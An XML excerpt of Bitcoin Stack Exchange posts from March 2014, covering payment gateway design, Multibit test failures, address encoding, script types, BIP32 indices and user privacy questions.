  <row Id="23370" PostTypeId="2" ParentId="23309" CreationDate="2014-03-11T09:53:36.270" Score="0" Body="&lt;p&gt;Bitpay offer a payment gateway service like this, and seem to be the processor of choice (at least at many of the retailers I have used),  That said they do charge for the service, and if you have some programming skill it would not be too hard to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Process&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User Finishes shopping, Goes to Cart and selects pay by Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;System Presents user with a bitcoin address and specifies amount.  (Would recommend placing a time limit on this to protect against market movements.)&lt;/li&gt;&#xA;&lt;li&gt;system then watches address on blockchain for transaction to appear (recommend waiting at least 3 confirms) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security Considerations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;due to the very exploitable nature of web services I would suggest that you keep your bitcoind off the web server and do one of the following.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set up a proxy application on the second server that only implements 2 RPC commands getnewaddress and list transactions.&lt;/li&gt;&#xA;&lt;li&gt;have no direct connection to your wallet at all.  each day generate say 1000 new address's and then load them into the sales server.  You can then use the blockchain.info api to watch for the transaction and have zero interaction with your wallet where the coins would go.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-11T09:53:36.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23371" PostTypeId="1" AcceptedAnswerId="23377" CreationDate="2014-03-11T09:57:03.907" Score="0" ViewCount="97" Body="&lt;p&gt;I am trying to compile Multibit on Windows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Windows 7, &#xA;IDEA 13.0.2, &#xA;Maven 3.0, &#xA;Multibit 0.5.16.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am able to compile, but when I try to test there are always 2 failures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Running org.multibit.file.ExportTransactionsSubmitActionTest&#xA;11:31:54.896 [main] DEBUG org.multibit.model.BaseModel - Initial view from properties file is 'WELCOME_VIEW' &#xA;11:31:55.671 [main] DEBUG o.m.model.bitcoin.WalletInfoData - The wallet version in the constructor was '3'. In the wallet info file it was '2'. Using the latter. &#xA;11:31:55.678 [main] DEBUG org.multibit.file.FileHandler - rememberFileSizesAndLastModified: Wallet filename C:\Projects\BCColors\multibit-master\.\.\src\test\resources\wallets\protobuf1.wallet , walletFileSize 986 ,walletFileLastModified 1393765318000 ,walletInfoFileSize 688 ,walletInfoFileLastModified 1393765318000 &#xA;Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.8 sec &amp;lt;&amp;lt;&amp;lt; FAILURE!&#xA;testExportTransactions(org.multibit.file.ExportTransactionsSubmitActionTest)  Time elapsed: 0.799 sec  &amp;lt;&amp;lt;&amp;lt; FAILURE!&#xA;junit.framework.ComparisonFailure: Row 1 incorrect expected:&amp;lt;29 Jul 2013 1[0]:23,&quot;Sent to &quot;&quot;unenc...&amp;gt; but was:&amp;lt;29 Jul 2013 1[2]:23,&quot;Sent to &quot;&quot;unenc...&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Running org.multibit.viewsystem.swing.action.CreateNewReceivingAddressSubmitActionTest&#xA;&amp;lt;......&amp;gt;&#xA;&#xA;Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 46.048 sec &amp;lt;&amp;lt;&amp;lt; FAILURE!&#xA;testAddReceivingAddressesWithEncryptedWallet(org.multibit.viewsystem.swing.action.CreateNewReceivingAddressSubmitActionTest)  Time elapsed: 46.047 sec  &amp;lt;&amp;lt;&amp;lt; FAILURE!&#xA;junit.framework.AssertionFailedError: Wrong number of keys after addition of 20 keys expected:&amp;lt;22&amp;gt; but was:&amp;lt;2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And more common question. &lt;strong&gt;Multibit code is very poorly documented. Does anybody have any reference/tutorial/explanation about it?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14360" LastActivityDate="2014-03-11T15:44:45.503" Title="Test failure for Multibit on Windows" Tags="|client|multibit|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23372" PostTypeId="2" ParentId="23250" CreationDate="2014-03-11T11:06:44.563" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does Blockchain.info track IP addresses?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;yes it does, see under Account - Settings - Logging&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that disabling logging only disables the DISPLAY of logging info on your side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;https://blockchain.info/privacy&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/privacy&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What we collect&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We may collect the following information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Contact information including email address, skype or google talk username&#xA;iPhone or mobile device identifier&#xA;ip address&#xA;Yubikey or other two factor authentication toke&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;My name and identifying information is never connected with my bitcoin, is it anonymous?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really...  See the Bitcoin.org FAQ&#xA;Generally speaking, I'd say it MAINLY depends on how you get / spend bitcoins.&#xA;If you pay for something with TC, and give your shipping address, that's your anonimity compromised!&#xA;Avoiding address re-use gives more anonimity...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I keep my bitcoin wallets and usage anonymous?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It all depends on how anonymous you really want to be.&#xA;For example, do you use Google authenticator?&#xA;That add to security but certainly decreases anonimity&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://blockchain.info/wallet/anonymity&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/wallet/anonymity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will Blockchain.info give up my IP address if &quot;requested&quot; by TPTB?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We will not sell, distribute or lease your personal information to&#xA;  third parties &lt;strong&gt;unless we are required by law to do so&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(always from their &quot;privacy&quot; page)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I be using TOR for all of this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want more protection, yes.&#xA;But depending on the usage you do of your bitcoin, it might be useless, as you anonimity is already compromised in other ways.&lt;/p&gt;&#xA;" OwnerUserId="14379" LastActivityDate="2014-03-11T11:06:44.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23373" PostTypeId="1" CreationDate="2014-03-11T12:19:20.927" Score="11" ViewCount="2481" Body="&lt;p&gt;I am currently having a blonde moment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ScriptPubKey provides a hashed version of the receivers public key. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;scriptPubKey  OP_DUP OP_HASH160  OP_EQUALVERIFY&#xA;  OP_CHECKSIG&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, if I give someone my bitcoin address to send me money - how does the sender retrieve my public key and then hash it? As the pubKeyHash != my bitcoin address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am probably forgetting something very obvious - but it has had my head bambuzzled this morning. &lt;/p&gt;&#xA;" OwnerUserId="14380" LastActivityDate="2014-03-13T04:43:41.577" Title="How does ScriptPubKey know the public key of an Bitcoin address?" Tags="|transactions|address|script|public-key|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23376" PostTypeId="2" ParentId="23373" CreationDate="2014-03-11T14:16:15.990" Score="9" Body="&lt;p&gt;Addresses are really just shorthands for particular scripts. The standard address type (starting with a '1' on mainnet) does in fact correspond to the exact type of script you gave above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you base58 decode such an address, you end up with a byte string of the form 0x00 + [20-byte hash] + [4-byte checksum]. The corresponding script is OP_DUP OP_HASH160 [20-byte hash] OP_EQUALVERIFY OP_CHECKSIG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in a way, your address &lt;em&gt;does&lt;/em&gt; contain the public key's hash.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-11T14:16:15.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23377" PostTypeId="2" ParentId="23371" CreationDate="2014-03-11T15:44:45.503" Score="0" Body="&lt;p&gt;The tests you mention are tests that drive the UI classes directly. They are a bit like robot tests and are a bit fiddly. If you don't run those specific tests you lose a bit of UI test coverage but no coverage of the deeper classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RE: the code being poorly documented: There are lots of Java doc comments, pretty much everywhere. You'll appreciate that the documentation effort has been much more on the end user side of things. MultiBit is a fairly typical MVC architecture, though of course it has accumulated a fair amount of cruft over time. Surprisingly code is almost always documented in line.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-03-11T15:44:45.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23378" PostTypeId="2" ParentId="23348" CreationDate="2014-03-11T16:12:48.783" Score="1" Body="&lt;p&gt;Exposing your public key does weaken the security a bit.  That is why it is recommended that you do not reuse addresses since your public key is exposed when you sign the first transaction spending money from that address.  Using Pay-To-PubKey instead of Pay-To-Pubkey-Hash exposes your public key immediately.  &lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-03-11T16:12:48.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23379" PostTypeId="2" ParentId="23348" CreationDate="2014-03-11T16:24:49.267" Score="4" Body="&lt;p&gt;This is the standard pay-to-pubkey script, which was the original &quot;standard script&quot; for a while, and is still used if you'd solo mine from within bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, Bitcoin transactions were intended to use pay-to-IP, where the &quot;address&quot; was an IP address, and the public key to pay to was computed on the fly when requested by the sender. These transactions used pay-to-pubkey scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pay-to-IP became deprecated and eventually removed quickly, mostly because of security reasons (man-in-the-middle), and the &quot;workaround&quot; (intended for when the recipient was offline) pay-to-pubkeyhash took over, with several unfortunate side effects (address reuse, no comments on transactions, ...). Hopefully the Payment Protocol (BIP 70-72) can bring these back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other reasons for preferring pay-to-pubkeyhash instead of pay-to-pubkey, such as a very minor security advantage (before the pubkey is revealed, the attacker first needs a preimage attack on the hash, before starting to attack the EC key), and smaller effect on the UTXO set (the database every full node maintains in addition to the block chain).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-11T16:24:49.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23383" PostTypeId="1" CreationDate="2014-03-11T18:44:25.877" Score="1" ViewCount="217" Body="&lt;p&gt;I am trying to host a bitcoind on my server so I can connect to it on my website, how do I install it, run it, update the conf file? this is on a server not a desktop&lt;/p&gt;&#xA;" OwnerUserId="14364" LastActivityDate="2014-03-11T18:44:25.877" Title="how to run bitcoind server on a ubuntu 13.04 server" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23384" PostTypeId="1" CreationDate="2014-03-11T18:56:01.367" Score="-1" ViewCount="91" Body="&lt;p&gt;Hi this is Dushyant from India&#xA;i heard about the bitcoin craze hence i checked on google and started visiting sites and earned few (hardly) satoshis, etc.&#xA;But i dont know what is the exact value of it and how do i use it also in india there is no much craze due to no knowledge of bitcoins...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure should i continue to click and earn these mini currencies and add upto 1 bit coin(that would definitely take few month) but then not sure what to do with it ?&lt;/p&gt;&#xA;" OwnerUserId="14390" LastActivityDate="2014-03-15T05:44:04.540" Title="All about bitcoin" Tags="|transactions|" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-12T21:14:08.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="23385" PostTypeId="2" ParentId="21428" CreationDate="2014-03-11T19:37:26.303" Score="-1" Body="&lt;p&gt;You can create your own digital coin with &lt;a href=&quot;http://www.bitclone.net&quot; rel=&quot;nofollow&quot;&gt;www.bitclone.net&lt;/a&gt; platform. I have recently launched this project and currently looking for people to try it.&lt;/p&gt;&#xA;" OwnerUserId="14393" LastEditorUserId="14393" LastEditDate="2014-03-20T20:53:34.647" LastActivityDate="2014-03-20T20:53:34.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23386" PostTypeId="2" ParentId="23086" CreationDate="2014-03-11T20:50:56.000" Score="1" Body="&lt;p&gt;You could use 2-of-3 outputs to do this, where the third key is held by a trusted mediator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A merchant could consider himself paid when the 2-of-3 transaction is confirmed. In the normal course of events the 'chargeback period' would expire and the mediator and merchant would send the money to the merchant's normal address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer requests a chargeback before that, then either the merchant would agree or the mediator would step in and perform the chargeback according to whatever policies it sets.&lt;/p&gt;&#xA;" OwnerUserId="13917" LastActivityDate="2014-03-11T20:50:56.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23387" PostTypeId="1" AcceptedAnswerId="23388" CreationDate="2014-03-11T21:06:30.417" Score="3" ViewCount="556" Body="&lt;p&gt;The wiki entry on &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;Address&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some Bitcoin addresses can be shorter than 34 characters (as few as 27 in theory) and still be valid. [...] These shorter addresses are valid simply because they stand for numbers that happen to start with zeroes, and when the zeroes are omitted, the encoded address gets shorter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Alright, but according to &lt;a href=&quot;https://en.bitcoin.it/wiki/File%3aPubKeyToAddr.png&quot; rel=&quot;nofollow&quot;&gt;this diagram&lt;/a&gt;, a main-network address is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Base58Check(00 ++ RIPEMD160(SHA256(04 ++ pubkeyX ++ pubkeyY)) ++ checksum)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next we look at the entry for &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;Base58Check&lt;/a&gt; and we see step 4 is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4) Treating the results of step 3 - a series of bytes - as a single big-endian bignumber, convert to base-58 using normal mathematical steps (bignumber division) and the base-58 alphabet described below. &lt;strong&gt;The result should be normalized to not have any leading base-58 zeroes&lt;/strong&gt; (character '1').&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First strange thing - if it's treated as a single big-endian number, shouldn't prepending the main network byte of &lt;code&gt;00&lt;/code&gt; not have any effect? Since that is the most significant byte it'd be like writing &lt;code&gt;00123&lt;/code&gt; instead of &lt;code&gt;123&lt;/code&gt; in regular notation, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second strange thing - if the result should be normalized to have no leading zeroes, doesn't that mean that the output should never have any &lt;code&gt;1&lt;/code&gt;s in it? Step 5 seems contradictory to this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;5) The leading character '1', which has a value of zero in base58, is reserved for representing an entire leading zero byte, as when it is in a leading position, has no value as a base-58 symbol. There can be one or more leading '1's when necessary to represent one or more leading zero bytes. Count the number of leading zero bytes that were the result of step 3 (for old Bitcoin addresses, there will always be at least one for the version/application byte; for new addresses, there will never be any). Each leading zero byte shall be represented by its own character '1' in the final result.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It seems step 4 would have stripped out any possible leading bytes. However, in the case that it didn't, and for some reason it didn't with the prepended &lt;code&gt;00&lt;/code&gt; byte, shouldn't an address have multiple leading 1s, e.g. &lt;code&gt;11175tWpb...&lt;/code&gt; instead of simply being shorter, e.g. &lt;code&gt;175tWpb...&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Ok, it seems that what it is saying is that given payload &lt;code&gt;X&lt;/code&gt;, &lt;code&gt;base58(X)&lt;/code&gt; is normalized to remove the zeroes, and then you prepend a &lt;code&gt;1&lt;/code&gt; for each leading byte of &lt;code&gt;X&lt;/code&gt;, not &lt;code&gt;base58(X)&lt;/code&gt;. It still raises the question of why addresses are shorter instead of having multiple &lt;code&gt;1&lt;/code&gt;s. Is it that the &lt;code&gt;RIPEMD160(SHA256(04 ++ pubkeyX ++ pubkeyY))&lt;/code&gt; happens never to have too many leading &lt;code&gt;0&lt;/code&gt;s (which would be prepended as &lt;code&gt;1&lt;/code&gt;s) while &lt;code&gt;base58(RIPEMD160(SHA256(04 ++ pubkeyX ++ pubkeyY)))&lt;/code&gt; does (and they are cut out of the final result)?&lt;/p&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2014-03-11T21:13:21.527" Title="Why can addresses be shorter than 34 bytes?" Tags="|address|algorithms|address-generation|base58check|base58|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23388" PostTypeId="2" ParentId="23387" CreationDate="2014-03-11T21:13:21.527" Score="2" Body="&lt;p&gt;Yes there can be multiple leading '1' characters, and each '1' represents one leading zero byte. This leads to a shorter address because normally each base58 character represents slightly less than 6 bits of information, but a leading zero byte contains exactly 8 bits of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the shortest address you can have is 1111111111111111111114oLvT2 (representing 160-bit hash of 0000000000000000000000000000000000000000). It has 21 leading &quot;1&quot; characters representing exactly 21 leading zero bytes (the hash prepended by another 00).&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-11T21:13:21.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23390" PostTypeId="1" CreationDate="2014-03-11T22:22:54.603" Score="1" ViewCount="148" Body="&lt;p&gt;&lt;a href=&quot;http://www.zerohedge.com/news/2014-03-11/isnt-it-ironic-mtgox-hacker-demands-ransom-exchange-users-not-reveal-their-personal-&quot; rel=&quot;nofollow&quot;&gt;A hacker is selling&lt;/a&gt; Personally Identifiable information (PII) stolen from Mt Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can a US citizen do to protect their identity?  What steps should they take?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://travel.state.gov/content/passports/english/passports/lost-stolen.html&quot; rel=&quot;nofollow&quot;&gt;Should a passport be cancelled?&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I do anything with my credit report, or state license?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-03-12T15:54:48.813" LastActivityDate="2014-03-12T15:54:48.813" Title="What can a US citizen do regarding the theft of Mt Gox PII data (Passports, etc)" Tags="|mtgox|privacy|" AnswerCount="0" CommentCount="7" ClosedDate="2014-03-19T00:45:47.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="23392" PostTypeId="2" ParentId="19893" CreationDate="2014-03-12T00:40:07.423" Score="19" Body="&lt;p&gt;The payment protocol (see BIP 70-72) will support attaching messages to transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these messages do not end up in the blockchain, which is the right way to do it, as they are private information between sender and receiver - no need to make the entire world replicate it.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-12T00:40:07.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23393" PostTypeId="1" CreationDate="2014-03-12T00:51:06.250" Score="-1" ViewCount="935" Body="&lt;p&gt;Just bought $5 of Bitcoins from CoinBase. How do I spend them? I gather it has something to do with QR codes. . . . &lt;/p&gt;&#xA;" OwnerUserId="14398" LastActivityDate="2014-03-15T12:50:59.023" Title="What's up with all the QR codes?" Tags="|coinbase.com|spending|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-15T12:55:40.773" ContentLicense="CC BY-SA 3.0" />
  <row Id="23394" PostTypeId="2" ParentId="21235" CreationDate="2014-03-12T01:03:07.860" Score="2" Body="&lt;p&gt;You can download the blockchain headers &lt;a href=&quot;https://electrumx-spesmilo.readthedocs.io/en/latest/protocol-methods.html#blockchain-block-header&quot; rel=&quot;nofollow noreferrer&quot;&gt;using ElectrumX&lt;/a&gt;. The data is binary packed, but can be deserialized easily enough. You seem to be trying to solo mine, which is a bad idea at the best of times, let alone with JavaScript. You also seems to be trying to build a SPV client. An easier way would just be to use &lt;a href=&quot;https://blockchain.info/latestblock&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/latestblock&lt;/a&gt; to get the lastblock hash and use that.&lt;/p&gt;&#xA;" OwnerUserId="6990" LastEditorUserId="34190" LastEditDate="2022-12-15T22:32:15.030" LastActivityDate="2022-12-15T22:32:15.030" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23396" PostTypeId="1" CreationDate="2014-03-12T02:02:29.123" Score="2" ViewCount="82" Body="&lt;p&gt;BIP32 doesn't have any guidance on how to choose the i value for child keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any benefit to using a random value for i ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than documenting and saving the value of I for various purposes such as auditing and child keys, is there any reason that it should be sequential, or why it shouldn't be a large random number ?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-03-12T02:12:37.237" Title="Should I use a large random value for i in BIP 32 instead of sequential?" Tags="|wallet|cryptography|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23397" PostTypeId="2" ParentId="23396" CreationDate="2014-03-12T02:12:37.237" Score="2" Body="&lt;p&gt;Sequential has the advantage of being able to recover without scanning for 2^32 keys.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-12T02:12:37.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23398" PostTypeId="2" ParentId="23384" CreationDate="2014-03-12T02:45:12.823" Score="0" Body="&lt;p&gt;At the exact moment I write this, 1 bitcoin is worth about (ballpark) US$650. There are (exactly) 100,000,000 Satoshi in a bitcoin. This means that about 1,500 Satoshi is worth one cent (US).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a long way to go before you're rich. You didn't think you'd get something for nothing, did you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, be aware that transferring very small amounts of bitcoin may not work, without transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastEditorUserId="12006" LastEditDate="2014-03-15T05:44:04.540" LastActivityDate="2014-03-15T05:44:04.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23399" PostTypeId="2" ParentId="21428" CreationDate="2014-03-12T03:05:42.930" Score="0" Body="&lt;p&gt;It's worth mentioning for anyone who isn't aware that the Bitcoin client at &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin&lt;/a&gt; is open source and available for download for those who wish to create their own cryptocurrency, subject of course to the conditions of the license.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2014-03-12T03:05:42.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23400" PostTypeId="1" AcceptedAnswerId="23415" CreationDate="2014-03-12T04:41:10.450" Score="6" ViewCount="265" Body="&lt;p&gt;How can the &lt;a href=&quot;http://www.auroracoin.org/&quot; rel=&quot;nofollow&quot;&gt;Auroracoin&lt;/a&gt; distribution verify that the recipient does not receive coins using the id of somebody else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Icelanders use their ids &lt;a href=&quot;http://en.wikipedia.org/wiki/Kennitala&quot; rel=&quot;nofollow&quot;&gt;everywhere&lt;/a&gt; then many Icelanders potentially know another Icelander's id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Aurora restrict each Icelander to have only one Aurora address per Icelander id?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Aurora filter the Icelanders' locations by IP address?&lt;/p&gt;&#xA;" OwnerUserId="14400" LastEditorUserId="5406" LastEditDate="2014-04-05T18:34:23.027" LastActivityDate="2014-04-05T18:34:23.027" Title="Reliability of Auroracoin distribution model based on Kennitala (Iceland National Id)" Tags="|identity|auroracoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23401" PostTypeId="1" CreationDate="2014-03-12T05:00:10.540" Score="3" ViewCount="236" Body="&lt;p&gt;I don't know when and how often a script is executed, but it seems to me that there would be a problem if a single script (or a sum of all scripts in a block) exceeds the time it takes to be included in a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the trend in alt coins is to decrease the block time duration,  I think this could become an issue or race condition where the TX never gets included in a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that as the various alt coin block sizes grow ... Perhaps larger than 1mb, this risk would grow as well, given the higher quantity of transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When are transaction scripts evaluated (or not )?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I heard that certain old TX scripts aren't validated during the initial sync to speed up the process, so perhaps there are other times that a TX isn't executed. (Perhaps it's an unknown script.)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What role does CPU load have on the network and the risk of a fork?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Perhaps only miners are only affected.... I'm unsure.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the network running full nodes has capacity issues with either CPU or bandwidth could a fork occur?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T09:46:21.080" LastActivityDate="2016-05-14T01:38:33.390" Title="What if the execution time for an alt coin script exceeds the block time?" Tags="|script|altcoin|blockchain-fork|transaction-verification|block-interval|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23402" PostTypeId="2" ParentId="23401" CreationDate="2014-03-12T06:19:52.523" Score="2" Body="&lt;p&gt;You shouldn't need to worry about this ever happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no loop opcodes in scripts. Every script opcode can only be executed once, and the slowest opcode is probably ECDSA signature verification (because it involves EC_point_multiply). Even so, it only takes about 50~100μs on a single core of a modern CPU to process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume a 1MB block (max size) contains 100% signature verification opcodes, that's 1 million signature verification and takes at most 100 seconds CPU time of a single core, this is still much lower than the block time. In practice each scriptSig is accompanied by at least 100 bytes of data (pubkey + ECDSA signature) so it probably takes less than 1 second of CPU time.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="13751" LastEditDate="2014-03-12T06:28:52.930" LastActivityDate="2014-03-12T06:28:52.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23403" PostTypeId="1" CreationDate="2014-03-12T06:35:18.680" Score="-4" ViewCount="5356" Body="&lt;p&gt;I just newly introduced with Dogecoins, how can I set up wallet to store Dogecoins on my Ubuntu machine? I have tried lots of references but I cant get simple way. May I know how can mine Dogecoins from Ubuntu Machine?&lt;/p&gt;&#xA;" OwnerUserId="14401" LastActivityDate="2014-03-13T23:38:40.020" Title="How can I set up DogeCoin wallet on Ubuntu?" Tags="|wallet|linux|ubuntu|dogecoin|" AnswerCount="1" CommentCount="3" ClosedDate="2014-04-05T17:16:10.287" ContentLicense="CC BY-SA 3.0" />
